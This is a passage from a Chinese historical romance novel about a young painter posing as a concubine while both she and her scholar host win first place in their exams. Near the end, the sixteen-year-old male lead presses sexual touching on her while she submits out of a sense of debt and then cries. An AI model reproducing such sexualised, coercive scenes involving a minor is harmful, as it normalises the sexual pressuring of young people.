附上银子的同时,钱老板又递给黄时雨一封信,“画迷给您的,梅尘先生,你这拥趸者还真是个铁打的画迷。” 不仅买画,还操控钱老板每次出价,买了画却不拿走,只吩咐务必挂在铺子显眼处,等有缘人赏识。 看得出这位神秘的画迷不差钱且想捧梅尘,又不知因何缘故不愿走最简单的路子,砸钱造口碑,许是过于相信梅尘的实力。 交易结束,宾主尽欢,双方客客气气辞别。 回去的路上琥珀手都在隐隐发抖,照这么下去,二小姐还真能在京师买房。 黄时雨捂着胸口激动,心脏险些要跳出来。 冷不丁多了这么大一笔进项,颇有些摸不着北。 画迷的第二封信,仔细点评了黄时雨的《仙鹤塘记》,言她仙鹤翅膀的运墨绝妙,过渡自然,倘若以干净的毛笔将翅端墨羽的浓墨处迅速吸干,效果则更好。 黄时雨全靠手法对付墨块不均匀的地方,因她技巧纯熟等闲人等看不出瑕疵,却被画迷看出,还教她一个更完美又简单的法子。 这哪里是画迷,简直是恩师。 读到这里,多少能确定画迷也是画道中人。 不过谁也没规定画师就不能做画迷,时下反倒有不少画师是名家大师的画迷。 黄时雨感动这样一位不逊于自己的先生,竟这般仰慕自己。 赚到了人生第一笔巨款,懂得感恩的姑娘顺路去济恩寺为简珣求了一枚平安福,祝他科举顺遂。 她以为简珣今儿不会回府,就将平安福交给了白露。 晚间熄灯后,他竟又回来了。 曹妈妈亲自安排下人烧水,伺候少爷沐浴更衣。 此番追随叶学士短途游学,离家足有十余日。 黄时雨尚不知情,独占了暖阁的一张大床甜睡,后半夜身子一轻被人捞进了怀里。 简珣亲了亲她额头,将人搂得紧紧的。 累坏了,暂时升不起坏心思,他只想贴着她共眠。 黄时雨嘤咛一声,被他弄醒了,却听见均匀的呼吸声。 简允璋睡得很熟,胳膊却像铁钳子,挣也挣不开。 永寿宫,二月初天寒地冻,午间却又阳光大盛,晒得地上暖意融融,太后犯困便去暖阁小憩。 韩意淮来的不巧,只好先去偏殿的暖阁稍候,却被廊下的小奶猫吸引。 宫女正在帮奶猫换上团福纹的花袄,放在廊下晒太阳,猫儿实在太小,晒晒太阳才长得壮。 抬眸发现肃王走过来,她连忙蹲身请安,肃王颔首,径直来到猫窝旁蹲下。 西域上贡的小玩物,被驯化的失了大半猫性,见着生人也不跑,反倒弓起身子发抖。 灰白的毛色,脑袋上两块黑的像小木头扎的两朵小髻,瑟瑟发抖,好不可怜,肃王想,我就这么可怕么? 伸手摸一摸。 奶猫凄厉叫了声,依然不敢反抗,一动不动。 宫女惶恐不已,大着胆子颤声道:“殿下恕罪,这小玩意还没长大,受不得殿下的威仪,惊吓之余万一抓伤殿下可就不妙的……” 韩意淮幽幽望着小奶猫,它没有小木头的勇气,不敢抓他,只会哀伤叫唤,正这么想着手背就挨一爪子。 他无奈笑了。 宫女大惊失色,慌忙跪地请罪。 韩意淮满不在乎道:“它真胖,可有名字?” 宫女战战兢兢道:“回殿下,太小了还未取,就叫猫儿。” 韩意淮“哦”了声,“以后就叫小木头。” 陆太后醒来没多久就召见了肃王。 打量阿淮脸颊洁白如玉,全无半分瑕疵,她才长长舒了口气,“孽障,你可莫要哀家再操心,玩什么不好玩猛禽,那玩意再威风也得让奴仆随从擎。” 韩意淮嘿嘿笑着,“儿臣知错了,下不为例。” 陆太后拿孽障一点办法也无,打他骂他吧,他当即服软,还能嬉皮笑脸地讲出一堆好话哄人开心,让人实在下不去手。 “你有这本领哄母后,缘何不去哄一个名门闺秀来孝敬我,我是不耐烦再瞧见你的。”太后推了他脑门一指。 哪知这样轻飘飘一句责备竟将厚颜孽障说红了眼眶。 以前也不这样脆弱呀? 陆太后连忙道:“怎么,哀家现在还说不得你一句了么?” 韩意淮沮丧道:“没有,母后教训的是。” “那你一脸委屈的是在做什么?” “因为儿臣在旁的姑娘跟前就没了本事,还把人家惹哭了,再也不待见我……” 太后听完愣了半晌,又哭笑不得,可是不管接下来如何逼问也套不出是谁家的姑娘。 气性儿这么大。 那日拜别母后,韩意淮拎着小木头离开了宫城。 梅娘已经收到了他的第二封信,却一封也没想着回他。 真是个高冷的画师。 第57章 灼热 谁家的姨娘隔三差五出门,有时只带一个贴身丫鬟,仗着夫人不在府里,头上又无主母,已然越来越没规矩。 立春后,曹妈妈的不满与日俱增,眉头也越皱越紧。 作为仆妇,自是无权指摘贵妾。 却也不得不提醒少爷两句。 “少爷,您宠爱黄二小姐,没有人敢置喙,上行下效,只会因你的宠爱而愈发捧着她。”曹妈妈是看着简夫人长大的老人,资历非常,也还是有些体面的。 她对简珣福了福身,沉声道:“今日老奴有几句逆耳忠言不吐不快,只求少爷允许老奴说完了,再打再骂悉听尊便。” 简珣何曾见过这般严肃的曹妈妈,不由也肃然几分,“曹妈妈言重了,你是我阿娘身边最得力的人之一,我岂敢对你不敬重。” “有什么话你就直说吧。”他淡淡道。 “那老奴便斗胆僭越这一回。”曹妈妈又屈膝行了个礼告罪,视线盯着下方缓声道,“老祖宗有句话说得好,家不平何以平天下,咱们这样的门第更应注重尊卑礼仪,唯有主子们重视规矩,下面的人也才会遵守规矩。少爷,您觉得黄二姑娘的行为出不出格,放在哪家能容得下?” 简珣没有回答。 “一个姨娘不想着伺候夫君,成天忙着考画署已经令老奴大开眼界,如今您时常不在府中,她更是肆无忌惮,想出府就出府,去哪里做什么谁也不清楚。” 这样的行为对于一个妾室来说已经大逆不道。 哪怕是正妻也不能如此随意。 主母出门尚且都要获得婆母准许。 在等级森严,规矩繁琐的京师,一个频繁外出且行踪不定的女子不会给家族带来任何好处,甚至后患无穷,带几顶绿帽子回来都有可能,这不仅有伤风化更触犯天和。 所以这里规行矩步的女孩子才是正经女子。 曹妈妈的担忧与愤慨全然从主子的利益出发,并无私人怨怼,这也是她生而为人几十年所学的礼数和道义。 简府如今就剩少爷一个男丁,血脉容不得一丝错乱,黄时雨这样的行为很难不令人多想,将来停了避子药,就更令人心惊担颤。 现在不把规矩立好,等她怀了身子再闹出什么风言风语那才难堪。 简珣是一个克己复礼的学子,一直以来信奉的也都是鸿儒老师所授的正统教条,黄时雨是他此生最颠覆三观的存在。 而他在此之前竟无知无觉的沉沦。 也不算无知无觉,更多无奈,他不知怎么做才能令梅娘接受正统的规矩,乖乖听他的话。 因他,好像,还从未狠心管束过她,也不忍心这么做。 今日曹妈妈的话犹若一盆冷水浇的他透心凉。 他对梅娘的诸多纵容已经不是宠爱而是捧杀。 长此以往,只会惯得梅娘益发横行无忌,早晚被规矩反噬。 少爷心聪神慧,对她肺腑之言的言外之意想必早已清清楚楚。曹妈妈暗暗松了口气,放柔了声音道:“也不怪少爷心慈手软,如今咱们简府明面就两个主子,一时也想不了那么多,可是少爷,您今年已经十六,少奶奶进门是早晚的事,依着黄二小姐这个性子,您觉得得是什么样的棉胎软性子才容得下她……” 简珣攥紧的指骨微微泛白。 “您不仅仅是一个人的夫君,其他女人您不管了么,万一她们有样学样,闹得鸡飞狗跳,又该如何处置?当然,您可以偏颇黄二姑娘,不顾她们死活,可是您,也是她们的天呐。” 曹妈妈伤心的望着少爷,又垂眸擦了擦自己眼角的泪。 她提醒了简珣一个最现实的问题,未来,他不只是梅娘一个人的夫君,也是别人的。 对梅娘不符合规矩的宠爱就是对其他女子的残忍。 为人夫君的责任是让委身自己的女子活得好,而不是活不下去。 如若后院只有梅娘在笑,而正妻和妾室哭泣,他,该何去何从。 有个办法就能很好解决,不要梅娘就好了。简珣痛苦的想。 因为不论梅娘是妻是妾,他都不敢保证自己的私心会有多偏她。 曹妈妈叹了口气,道:“该说的都说了,老奴便不打搅少爷清净。” 简珣一个人在书房坐了很久很久,直至黄昏已绝。 未时三刻,黄时雨才回了府。 香雪居的丫鬟们照旧开开心心迎接,曹妈妈冷冷睃了她一眼,调开视线,不言不语。 黄时雨心里一咯噔,不自觉捏了捏手中的帕子。 果不其然,不到一炷香时间,白露就来传话,“二小姐,少爷请您去趟书房叙话。” “嗯,好。”黄时雨换了身家常的衣裙就过去。 简允璋心事重重,见她走进来也只是撩眼看向她。 这是有话要与她谈。 “阿珣,你找我何事?”黄时雨问。 “坐吧。”简珣道。 她依言坐下。 简珣神情凝重,似乎在斟酌如何开口。 “梅娘。”他轻声道,“你有没有想过,真的跟我过?” “考不上画署才跟。”黄时雨强调。 “你是不是忘了扮演贵妾的身份?咱们不是说好,我帮你,那你也得自己争气,装得像一点。” “是不是我做错什么,你告诉我,我会改。”黄时雨认真道,一句狡辩都无。 简珣有片刻失语。 沉吟少顷,他道:“以后多听曹妈妈的话,她自会教你做好分内之事。” 黄时雨垂眸,轻轻道:“好。” 每个地方都有自己的规矩,既然借住在此,自然就要遵守这里的规矩。 黄时雨没有怨言。 简珣诧异看向她,“……” 他以为逼迫梅娘立规矩,会惹她反感,甚至哭闹。 从未想过梅娘竟安安静静地接受,并认真对待。 有教养的女孩子怎会在别人家做客时胡闹。 她踩了曹妈妈底线并非本意,既惹了主家不快,自然会认真改。 钱老板近日财运亨通,最大的遗憾是无法主动与梅尘先生沟通,只能坐等梅尘先生上门。 梅尘先生的前两幅画只有她的画迷赏识,第三幅竟被大主顾冯太太一眼相中。 鲜少见到有人将木槿花的蓝紫调调的这般精美华贵,一问竟还是个新画师。 冯太太挑着眉毛笑道:“我新开的胭脂水粉铺子正需要几幅花儿点缀,挑来挑去,倒只有梅尘先生的合眼缘,这样吧,四季十二时花,共十二幅,帮我谈个好价,佣金不会短了你。” 钱老板两只小眼睛登时睁圆了。 开画阁画铺子不止靠卖画,也会帮画师与买家牵线,倘若画师能满足买家要求达成交易,那么双方都会付给中间人佣金,这也是钱老板的一种收入方式。 梅尘名不见经传,丹青水平不低,价格还便宜,冯太太真是选对了人。 但钱老板并不知梅尘家住何方,只能坐在铺子里苦等,想着再见面无论如何也讨个找人的方式。 万万没料到,这一等竟从初春等到暮春,又从暮春等到了立夏,等了两个多月啊。 得亏冯太太耐心好,不然这么大一笔生意就要黄了。 虽然此番前来的不是梅尘先生,只有她的贴身丫鬟琥珀,钱老板还是激动地哭了,无论如何都要讨个住址,不然将来找谁说理去。 琥珀有苦说不出,只能稳住心神道:“住址将来再说。” 主仆二人还没有房子,说不得。 她也不理钱老板苦苦哀求,一径递上新画。 钱老板没有法子,只能先解决冯太太的大生意。 他道:“再拖下去我也不能保证冯太太还要不要,我说个数二百四十两,到时我抽二十两佣金。” 机遇千载难逢。 这价格,又是一次十二幅,对于黄时雨来说岂有不应之理。 琥珀自然点头同意,在钱老板的操持下双方立了契约,收下定金,又回府请二小姐按了手印,双方约定好日期,方算成交一半。 闷在府中两个多月的黄时雨继续忙碌。 曹妈妈是个严厉的人,立规矩之初没少让黄时雨吃苦,却也让她首次全面了解了大户人家女眷的生存日常。 包括妾室的礼仪以及如何伺候夫君和夫君的妻子,又了解了与夫君其他女人的相处之道。 作为一个乖巧听话的姑娘,又肯学肯干,且再没有出门,饶是冷硬的曹妈妈也软和下去,想到黄时雨本就是宠妾,只要在规矩之内,怎么得宠都不过分,便也渐渐宽松下来。 黄时雨正好可以心无旁骛作画。 二百四十两,谁也不能保证下一次遇见是何时。 十二幅画交到钱老板手中已是四月底,等冯太太验收结尾账那日正好端午,钱老板还另外附赠一份节礼。 黄时雨也算一个人物了,收到钱老板为她准备的节礼。 琥珀喜得见眉不见眼,已经开始往更远的地方算,“去掉二十两佣金,就是二百二十两,加上之前的四十两就是二百六十两,万一你考中了画署那就又有二百六十两优恤金,二小姐,你可就成了拥有五百二十两的富有姑娘了!” 跟做梦似的,她家二小姐竟真买得起京师的房子。琥珀说着说着忽然掩面而泣。 黄时雨乐呵呵看着她,提醒道:“买房子还得再等等,我还一脑门债务呢。” 当初简允璋以互相帮忙为由帮了她,却无论如何也不说想要她帮什么,不说就相当于她一直白占他便宜。 旁的忙,以二人情谊倒也不必细究,但两千两卖身钱,以及吃喝住简府不能不记心底,黄时雨嘴上不提,心里慎重,即便她很清楚简允璋从未真心让她偿还。 简珣唯恐黄时雨反悔,跑去他身边哭闹不愿立规矩,那他必然心软,拿她一点办法也无,于是这段时日除了关心她日常饮食不做他问,此外本来也没多少空闲留在府中,倒使得他内心平静了一段日子。 端午这日,简珣找了一个借口,匆匆离开安国公府回到了宣道坊自己家。 家中祥和静谧如旧,端午气氛浓郁,四下飘着五毒熏香,来往丫鬟身上挂着彩色的丝绦,瞧见他立刻笑吟吟福身。 他问:“二小姐呢?” 机灵的丫鬟立刻回,“二小姐今儿用了不少粽子,还睡了一个午觉,此刻正在书房作画读书。” 简珣颔首。 梅娘书房的宫式长窗曾是他亲手挑选的样式,比葵式更适合她。简珣踩着汉白玉阶,一步一步走上去,就望见了半开长窗里的倩影。 随着靠近,梅娘的脸庞逐渐清晰,而长窗的木条被日影儿拉长,一条一条倒映在她身上,像密实的笼网。 她在笼网里作画,发现了他,抬眸温柔一笑。 简珣怔怔立在窗外。 这是路过还是想进来?黄时雨心里纳闷,笑意便微微凝滞,眼眸微睁望着他。 简允璋的身形忽然就动了,光影在他身上交错,斜掠,他朝她走了过来。 当值的丫鬟瞧见少爷进屋,连忙将室内窗子挨个关上,又去添冰。 临近中夏炎热,只开窗透气一小会,屋内的冰便矮了一大截。 琥珀并未像从前那样立刻退回隔扇外。 简珣目光看向琥珀,黄时雨藏在桌底下的手轻轻推了推,琥珀才僵硬抬脚退下。 黄时雨的身量似乎长高了一点点,穿着半新的家常七副间裙和一件短衫,夏布纤薄,行动间稀软透气的面料若隐若现贴着她的曲线,也正因太过纤薄,简珣几乎能嗅到她肌肤传来的兰草气息,应是沐过了端午特有的香艾水。 这个姑娘对危险的感知实在迟钝,面对汹汹而来,目光灼热,呼吸略重的郎君,竟笑着打招呼,“咦,你回来了。” 简珣的脚步就顿住了。 相思数月,天知道前一刻他在想什么肮脏的事,冲过去抱住她,在她口中寻找解渴的良方,解开薄如蝉翼的夏衫尝尝底下的肌肤,然后就一起倒在那张铺了凉簟的软榻上,翻云覆雨,而今,却在唾手可得之际再次退缩。 因为她不会拒绝他。 这种不拒绝比反抗更残忍。 于她来说是一场无名无分的无媒苟合。 只会成全他的卑劣,却令她心碎。 她心碎以后又只会假装坚强。 简珣垂眸,讪讪道:“晨间凉爽缘何未去游玩?这种日子有白露素秋作陪,你可以的。” 黄时雨道:“一次端午而已,年年都会有,还是画考更重要。” 还剩不到三个月。 今年的走百病,花朝节她可是都没空参与。 “那你,可还记得我们的约定?”简珣幽沉的目光瞬也不瞬望着她。 黄时雨不意话题忽然跳了好几层,忙道:“自然记得。那,现在能告诉我是什么吗?” 简珣摇摇头,“不能,因为我也不知道结果。” 说罢,像是下了什么决定似的,转身阔步走向门口,“走了,你多保重。” 黄时雨点点头,“你也是。” 乡试在即,黄秀才日渐消瘦,本来就没几两肉的人,目下两腮也凹了进去,半夜醒来,黄太太时不时被吓一跳,又不得不自我安抚,嫁鸡随鸡嫁狗随狗,嫁黄秀才随鬼,好歹他是个秀才老爷,万一今年考中,那她可就是泽禾第三位举人娘子! 为此黄太太从六月份开始吃斋念佛,家里一概不许杀生,但不能不顾及黄秀才的身体,于是灶上婆子每日都去街市买别人杀好的鸡鸭鱼肉专门供应老爷。 黄晚晴只好捏着鼻子吃糠咽菜。 不过想到阿爹中举,自己就是举人的闺女,不知多么风光,便也忍下了。 远山如黛,枫林染红,清秋薄暮的乡试之月终于到来。 乡试的场地皆设在考生所在的重要府城举行,宝天府的场地设在京师,共分三场,每场三日,中间间隔一日,初一开始,十一结束,于考生来说也是一场耐力与体力的盛大考验,往年也不是没发生过因为考生过于虚弱从而晕倒停考的惨事。 科举除了选拔人才,也看重人才是否康健经得起重用,一个连考试力气都欠缺的考生,即便满腹才华,当权者也会皱眉。 临行前一日,孙妈妈带着程氏的嘱托来到京师,好生交代简珣,泽禾一切安好,夫人身子骨也硬朗,诸事顺遂,请他安心考试即可。 简珣神色从容一一应下,反倒宽慰起紧张的孙妈妈,“所谓考试并非连续十一日,中间都有休整之日,妈妈且放宽心,我在贡院既不会挨饿更不会受冻,只不过吃穿用度清苦一些。倘若连这点苦都经受不住,那君子六艺岂不是白学。” 他是书生,却不文弱。 那几个武将家的儿郎也不一定是他对手。 又怎会折在区区乡试。 孙妈妈连连称是,双手合十念了句佛。 黄时雨初六才考,一共四场,一天一场,初九就能结束。 三十晚上她听曹妈妈的话,劝说简珣养精蓄锐,去书房休息。 简珣哂笑:“我在你这里睡也没发泄过什么,一直都养的很好。” 黄时雨只好道:“随便你,到时你自己在曹妈妈跟前说清楚,可不是我勾引了你。” “好,你没勾引我。我待一会便走。”简珣从身后抱住她,又搬过她肩膀,让她看着自己,“帮我戴上。” 这是她为他在济恩寺求的科举护身符。 “头低一些。”黄时雨仔细理开红绳。 简珣配合地弯身,黄时雨顺顺利利为他套上了那枚小小的祝福。 简珣也为她求了一个,于是两人都有护身符。 天气炎热,纵然有凉簟冰盆,也不适合穿太多衣衫就寝。作为男子,在这样的日子都是赤着胳膊睡觉,由己度人,简珣猜黄时雨也差不多。 但是当着他的面儿,她肯定不愿意脱,穿那么严实入睡得多难受。 再一个,就算她愿意,他也撑不住的。 他不是柳下惠,且身心健康,需求也正常,对不穿衣服的美人不可能不产生自然的冲动,更何况这个美人还是梅娘。 那他可能就再也忍不住。 所以,待了片刻,简珣便自觉地告辞。 第58章 粗鲁 秋闱开始后不久,画考紧跟其后。 相比于科举,画考天数少,出榜日却要慢一些。 初六那日天朗气清,画考据点——画院附近行人如织,距离正门五十步开外则被官兵用移动的木栅栏隔开,禁止闲杂人等入内。 黄时雨背着竹筐迈入,身边的同案多为青年中年,偶尔穿插几个老年,少年少女则寥寥无几。 为了方便查验身份,此行不宜遮面,可即便特意穿着朴素还是避免不了惊艳的目光,她的出现,犹若一滴春雨落入了宁静的湖泊,暗暗激荡一层小小涟漪。 黄时雨没有半分迟疑,步履匆匆直奔自己的考点。 原以为画考将是毕生难忘的刺激经历,然而考到第三日竟还如履平地。 画考竟一点也不难。 不过这种话得咽在肚子里。 因为同案都在相继退出。 至少在别人眼里并不简单。 前三日的三场考核皆有画署一应官员以及画员参与,每人经手十份左右答卷,当天批复,不过关者直接走人。 第四日才是最简单也最复杂的,简单是因为不用再思考如何回答五花八门的问题,死记硬背画道的稗史传记,而是直接作画,依据试题临场发挥,通过画员的审核,方可面对最终的主考官。而复杂之处便是人心,谁也不知道什么样的画最能打动人心。 天时地利人和缺一不可。 为了避免个人喜恶导致不公,主考官一般由十二人组成,除了画署高级官员,也包括时下赫赫有名的大画师。 人的主观判断有时也会在不自觉的情况下受到外界声音的影响,故此考卷全部糊名,而主考官则在特定的房间,独立批阅打分,最后由闻大人得出每位考生的综合成绩。 最大程度保证了公平性。 本来就剩三四十个同案的考场,人还在逐步递减。 黄时雨轻咬下唇,全程不太敢抬头,唯恐分心。 离场的考生越多她便越心惊。 说明画考并不简单,甚至很难。 可她总是寥寥几笔就能完成。 这种与众不同令她益发不敢声张出来,争取与大家同时交卷。 初九最后一场结束,有人欢喜有人忧虑,甚至还有哭鼻子的。黄时雨依然背着竹筐,宛若来时一般平静,直到钻进马车,那颗过度平静的心脏总算砰砰跳起来。 琥珀等人误以为她没发挥好,便找些其他话头转移注意力。 “尽人事听天命,二小姐,你已经做得很完美,剩下交给天意吧,怎样咱都不亏。”琥珀用力打扇,还不忘安慰她。 黄时雨抿唇笑了笑。 乡试于十一结束,黄秀才颤颤巍巍走出了贡院,这是他下笔最行云流水的一次答卷,仿佛演习了无数遍,因为过于激动,走了不到一射距离人就晕死过去。 没想到这一晕引起了“贤婿”注意,得以在放榜日之前客居简府。 黄秀才被随从和简府的下人迅速抬回,请医问药,天擦黑终于转醒。睁眼见到的便是阔别了近一年的老二黄时雨。 这孩子被简允璋养得如珠似玉,险些认不出。 “梅娘。”他嘶哑道。 黄时雨循声看向黄秀才,乌亮的黑眼睛像夜晚的星星,平静地与他对视片刻。 “阿爹,你醒了,趁热先喝碗药。”她接过丫鬟递来的药碗,轻轻搅动, 黄秀才抚着自己小厮的手抖抖索索坐起,“梅娘,这是哪儿?” “简府。”黄时雨平淡叙述,为他解释,“允璋说你身子骨虚弱,蜗居客栈恐怕诸多不便,建议你暂时在此休养。” 黄秀才左右环顾,如坠仙境,呐呐道:“甚好,甚好,是个好孩子……” 黄时雨服侍黄秀才喝完药,郎中这边已经收到消息,复又来一趟把脉,确认脉象已无大碍。 一脸疲倦的黄秀才总算松了口气,这一松,人沾枕即睡,呼噜打的震天响。 “老爷这边,你多上心些。”黄时雨对进宝道。 “嗯嗯,我就守在老爷跟前哪也不去。”进宝温顺道。 黄时雨微微点头,又交代他几句方才走出房门。 她也在等画署的放榜日。 心情不比任何学子轻松。 没想到简珣也紧张,不过他紧张自己的名次而不是能否考中。 倘若连乡试都过不了,那也不必在伯祖父跟前尽孝,更愧对名师叶学士。 放榜前这段时间简珣一直待在安国公府,等一个心中的结果。 放榜那日众学子家仆涌向贡院的东墙,有人当场扯发啼哭,有人笑得前仰后合,还有高呼中了中了蹦蹦跳跳。 安国公府却早已有礼部官吏登门,这是乡试魁首,解元才有的排场。 虽不能与进士及第相比,但御赐禄米这份殊荣足以光宗耀祖。 “恭喜简解元,一举夺魁。”礼部官员笑声爽朗。 简珣目光点亮,仿佛闪烁的辰星,耀满喜悦。 他做到了。 叩谢皇恩,聆听圣训,又去祠堂祭拜祖宗,这一日简珣忙而有序,直至掌灯时分终于得以分神,命人去查黄秀才的情况。 中了。 黄秀才也中了。 即便排名靠后但成功跻身为举人。 简珣多想不顾一切回到宣道坊紧紧抱住梅娘,告诉她,他做到了。 可是不能急。 还有祖父那关没有过。 他得耐心。 黄家的门第一夜之间天翻地覆。 别看秀才到举人之间只隔了一步,实则相隔一道巨大的天堑。 从庶人到官宦门第,单看能不能跨过这道天堑。 黄秀才跨过了。 因为只有从举人开始,才有资格做官,只要不太倒霉,怎么也得正七品起步。 泽禾黄家人收到消息那日,黄太太只觉得头顶旱雷滚滚,天爷呐,天菩萨呐,咕噜一声,痰就卡住了 ,她咧嘴笑了笑,又嗬嗬搓自己脖子,翻个白眼晕死过去。 黄晚晴尖叫一声,连忙扑过去掐阿娘的人中,众人一拥而上,灌水的灌水,捶胸口的捶胸口,折腾半晌才将头发乱成一堆鸡窝的黄太太捣醒。 她又哭又笑,激动不已,抱着一双儿女,“你们爹,往后,就是真正的官老爷了!” 按说黄秀才中举这件大事必然震动乡里乡外,可惜不巧的是隔壁的简允璋也中了,还是第一名,连带整个泽禾与鹿锦书院的名气飞升,不少外地学子即将赶来求学,诸多后话暂不再提。 孙妈妈风尘仆仆回到泽禾,哭着回禀程氏少爷中了,还是今年的魁首,就像当年的老爷一样。 程氏缓缓抬眸,泪光盈盈蓄在眼眶。 安国公家中出了这样的喜事,来往恭贺不绝,府中为此大摆筵席。 心思活络的人家则趁机向长房大夫人佟氏探口风,简解元还不足十七岁,这个年纪的乌衣子弟在京师不大可能成亲,大家好奇订没订过亲。 佟氏含笑一一敷衍而过,只说孩子还小,目前一心念书,人家里还有高堂,自己做伯娘的怎好过问。 懂得察言观色的问到这里自然也收一收。 皇帝听闻今年解元是安国公的侄孙,不由对左右笑了。 这日君臣二人在御书房相聊甚欢,皇帝额外赏赐了金银丝绢,安国公连忙整理衣冠就要跪地谢恩,被皇帝两手抓住,“老师折煞朕了,您这把年纪再行如此大礼岂不是要陷朕于不义。” 左右太监也上前劝说,好说歹说,终于将倔强的老头让回座椅。 皇帝随口闲谈,“允璋这孩子不错,难怪懿阳到如今还念念不忘。说起来,他与懿阳倒是有几分缘分,没想到今年突然就夺魁,明年琼林宴不知得让多少家贵女翘首以盼。” 安国公笑笑,“惭愧惭愧,陛下有所不知,这孩子福薄,算命的说得找个同样轻的才能压得住。” 皇帝勉强牵了牵嘴角,就不再提。 辰时安国公才离开皇城,将将走出含光门,忽听得一声熟悉的招呼,是司礼监的随堂太监有米。 有米拱着手边走边连连道贺,“咱家在这里给国公爷道声喜了,后生可畏,后生可畏,您调理出来的后生实在不得了。” “公公谬赞,不过侥幸一回罢了。”国公爷淡笑。 有米笑着摇摇头。 从中举的录取难度便可知第一名有多难,更何况简允璋还不满十七。 国公爷这句自谦的话,谁信了谁就是傻子。 如今十六岁的少年解元,宛如走出神仙话本的传奇,而简氏以及安国公又给传奇添上了浓墨重彩。 简允璋一时间风头无两。 所以有米在与国公爷错身之时,笑吟吟小声一句:“这样好的小公子不早点成亲,将来就可惜了。” 安国公脚步微顿,锐利的目光随之投向有米。 有米低头笑,作个揖大步朝北走去。 且说简珣中举,安国公府上下欢喜,自简慎远后,族中已经久未出现这么年轻的优秀后辈。世家大族讲究同气连枝,一荣共荣,简珣的成就乃光宗耀祖大事,亦是全族的荣耀,是要开祠堂祭告列祖列宗的。 唯有简欣兰躲在老太君的碧纱橱呜呜哭,无论如何也笑不出。 简允璋本是她的佳婿,又那么喜爱鸢娘。 是她造孽啊,怎么就给拆散了。 当初鬼迷了心窍攀附宗室,如同着了魔似的。 现实给她上了一课,美貌不是万能的,哪怕鸢娘倾国倾城,肃王也不一定看上她,简允璋也不一定随时回头。 老太君不耐烦地横了她一眼,“哭哭哭,就知道哭,旁人家想攀攀不上,你倒好,把到手的给扔了。” “阿娘,如今连您也奚落我,要是被您奚落就能挽回,我也舍得……”简欣兰含恨忍辱道出程氏纵容简珣流连花丛,小小年纪就想纳贵妾。 老太君颇为惊讶,想了想,又大约明白了什么,“人家的家务事,说一千道一万也与你不相干,我劝你省省。” 内宅之事,国公爷从不过问,但涉及到外院,比如简允璋,老太君既不能也不敢插手。 尽管她很清楚小女儿简欣兰在此哭得死去活来就是为了请她出面。 爱莫能助啊,傻孩子。 允璋的婚事她真插不了手。 比起简欣兰的冲动,宋鸢显得消沉许多,她跟在家中姐妹身后围观祭拜祖先的阿珣,又怏怏不乐跟在他身后来到桂园。 那日,胆子大的姐妹笑嘻嘻围过去与他说话,她站在外围一句小声的“恭喜”刹那就被喧闹吞噬,再不会有人知晓,她曾是他心爱的姑娘。 简珣只是假装没发现人群中的鸢娘,其实早就发现了。 他淡淡望向她,隔着人群,她也在看他,忽然别过了脸,用衣袖擦眼睛。 宋鸢把眼泪擦干净,再回头已经找不到他的身影, 却没想到他终究还是心软了,离开人群后就站在拐角处,一动不动,长身玉立。 宋鸢破涕为笑,感激他终于肯给她一次单独说话的机会,她不停擦眼睛,眼泪却越擦越多。 简珣沉默地望着她。 宋鸢泣不成声,忽然上前两步,扑在他怀中哽咽,“阿珣哥哥。” 简珣大惊失色,慌忙握住她胳膊将她扯了出来,“鸢娘,我停下是想告诉你,我要娶别的姑娘了,你不能还走不出,我们不是在金象塔约好的,以后只做表兄妹……” 宋鸢怔怔望着他,“娶谁?” 简珣没有回答。 宋鸢又问:“你要娶的姑娘同意你纳贵妾?” 简珣依然沉默。 宋鸢轻轻道:“那我也同意,你满意了吗?” “鸢娘。”简珣忽然打断她,“你是个好姑娘,不用委屈自己,我也不委屈要娶的人,别跟着我了,让人瞧见于你名声不好。” 他还是那么温柔,说的话却又如此绝情。 宋鸢在他还想说下一句前给了他一个嘴巴。 力度不大,却饱含她日夜的爱与恨。 “阿珣,我恨你。”宋鸢扭头哭着跑走。 简珣垂眸,轻轻抚了抚脸颊,也转身离去。 香雪居的天从黑到白,又从白到黑,时间已经来到了八月底,这期间黄时雨听说外面发生了许多事,阿爹实现多年夙愿中举,领到了正六品泽禾县令一职,而先前的县令升调。 琥珀喜极而泣,不是为黄秀才而喜,仅仅为了自己的小姐,现在是正六品县令家的千金了。 多少人终其一生都无法改变门第,现今被黄时雨摊上,说没感觉有点假,说开心吧,又浅浅淡淡。 当然,还有另一件值得特别高兴的喜事,便是简允璋一举夺魁,成了家喻户晓的简解元。 黄时雨打心眼里为他高兴,不过一点也不意外。 这确实就是他的水平。 可是画榜,缘何还未有动静? 黄时雨像条油煎的鱼,度日如年,被翻来覆去滚炸,每多忍耐一日,那未知的恐惧就会多催发一些猜测,从而愈发惊惶,以至但凡有点儿风吹草动,都能使她惊坐起。 她茫然看向他,长长的睫毛在下眼睑勾勒了一道阴影,忽闪忽闪。 简珣不意梅娘这般敏感,自己才撩起一层纱幔,她就忽然拥着丝衾而坐。 下人说她早已歇下,没想到还没睡着。 他自然地解开外衣,挂在鸡翅木架上,穿着寝衣爬上床,一把抱住僵硬的梅娘亲了亲,“恭喜,我的画员大人。” 他手中赫然一封赤红的朝廷录用花名册。 黄时雨困意全消,慌忙抢过,看了又看,唯恐看错看岔看漏什么,十根青葱指尖轻颤。 只见“黄时雨”三个大字赫然列在了第一个。 简珣垂眸轻轻解开她一颗纽襻,低哑的声音在她耳畔响起,“咱俩都是第一名,画魁和解元,真是天生一对。” 黄时雨捂住嘴巴,大颗大颗的泪珠滚落。 在此之前,这个姑娘的想法只是考进画署,不被阿爹卖掉,养活自己和姐姐。 竟从未想到,第一。 她是第一,大康唯二的画道女状元。 几乎快要被莫大的快乐淹没。 她的双目洋溢着不容忽略的喜悦,犹若云开雾散后灿烂的阳光,令简珣的心也跟着明亮。 “梅娘,你真是我见过的最厉害的姑娘家。”他双手捧着她的脸,拇指缓缓擦拭那香腮欢喜的泪痕。 “你也是我见过的最厉害的郎君了。”黄时雨只恨不能天快些亮,亮了就回泽禾。 简珣下床将蜡烛吹熄,重新拥抱她,噙住她的唇,缓缓用力,感受着她的甜蜜与柔软,“打开……” 他低声道,然后如愿噙住了她舌尖。 黄时雨从巨大的喜悦中渐渐清醒,察觉到了他不同以往的激烈与兴奋,身体就从松弛陡然僵硬起来。 按照约定,她以后不再是他的贵妾。 简允璋人财两失。 那么,他要她的身子,也合情合理。 黄时雨挣扎了一下,就不再乱动。 可是从未有人碰她那个地方,还那样的对待,她“哇”的一声哭了出来,惊醒了喘息越来越重的简珣。 